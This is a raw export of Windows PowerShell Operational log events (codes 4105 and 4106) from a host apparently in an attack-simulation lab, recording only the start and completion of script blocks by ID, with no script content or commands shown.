SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029482
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029481
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029475
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029453
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029452
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029451
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029450
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029433
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
